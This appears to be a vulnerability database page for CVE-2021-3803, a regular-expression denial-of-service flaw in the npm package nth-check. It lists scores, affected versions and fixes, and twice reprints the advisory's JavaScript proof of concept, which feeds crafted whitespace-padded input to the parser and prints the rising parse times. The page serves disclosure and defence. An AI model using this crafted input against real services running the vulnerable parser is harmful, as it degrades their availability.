CVE-2021-3803
Inefficient Regular Expression Complexity in fb55/nth-check
nth-check is vulnerable to Inefficient Regular Expression Complexity
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used 7.5
Inefficient Regular Expression Complexity in fb55/nth-check
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
CVE-2021-3803- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2021-2109 7.5
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
EUVD-2021-2109- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-rp65-9cf3-cjxr 7.5
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
- Record
GHSA-rp65-9cf3-cjxr- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD 7.5
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
CVE-2021-3803- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV 7.5
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
CVE-2021-3803- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVDEBIAN-CVE-2021-3803 7.5
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
DEBIAN-CVE-2021-3803- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-rp65-9cf3-cjxr 7.5
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
- Record
GHSA-rp65-9cf3-cjxr- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2021-3803 7.5
nth-check is vulnerable to Inefficient Regular Expression Complexity
- Record
UBUNTU-CVE-2021-3803- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1773188146No score
TuxCare security update for diff (3 CVEs)
TuxCare rebuilt diff to address 3 CVEs. Fixed in 1.0.2-tuxcare.1.
- Record
CLSA-2026-1773188146- Updated
- 2026-11-02
OSVCLSA-2026-1775003168No score
TuxCare security update for nth-check (1 CVE)
TuxCare rebuilt nth-check to address 1 CVE. Fixed in 1.0.2-tuxcare.1.
- Record
CLSA-2026-1775003168- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2021-3803No score
CVE-2021-3803 in @rootio/nth-check - Patched by Root
Root has patched CVE-2021-3803 in the @rootio/nth-check package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2021-3803- Updated
- 2026-11-02
OSVUSN-6114-1No score
node-nth-check vulnerability
Yeting Li discovered that nth-check incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service.
- Record
USN-6114-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nth-checknpm | before 2.0.1 | 2.0.1 |
nth-checkTuxCare:npm | 1.0.2-tuxcare.0 up to 1.0.2-tuxcare.1, plus listed versions 1.0.2 | 1.0.2-tuxcare.1 |
node-nth-checkDebian:12 | before 2.0.1-1 | 2.0.1-1 |
node-nth-checkDebian:13 | before 2.0.1-1 | 2.0.1-1 |
node-nth-checkDebian:14 | before 2.0.1-1 | 2.0.1-1 |
node-nth-checkDebian:10 | before 1.0.1-1+deb10u1, plus listed versions 1.0.1-1 | 1.0.1-1+deb10u1 |
@rootio/nth-checkRoot:npm | before 1.0.2-root.io.1 | 1.0.2-root.io.11.0.2-root.io.22.0.0-root.io.1 |
nth-checkRoot:npm | before 1.0.2-aikido.2 | 1.0.2-aikido.22.0.0-aikido.1 |
node-nth-checkUbuntu:18.04:LTS | before 1.0.1-1+deb10u1build0.18.04.1, plus listed versions 1.0.1-1 | 1.0.1-1+deb10u1build0.18.04.1 |
node-nth-checkUbuntu:20.04:LTS | before 1.0.1-1+deb10u1build0.20.04.1, plus listed versions 1.0.1-1 | 1.0.1-1+deb10u1build0.20.04.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | ||
| affected | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-3803 is a high vulnerability (CVSS 7.5) in Fb55 Fb55/nth-check, published September 17, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.21%, the 82nd percentile. Fixed in nth-check 2.0.1.
References
huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0
github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726
lists.debian.org/debian-lts-announce/2023/05/msg00023.html
nvd.nist.gov/vuln/detail/CVE-2021-3803
github.com/advisories/GHSA-rp65-9cf3-cjxr
security-tracker.debian.org/tracker/CVE-2021-3803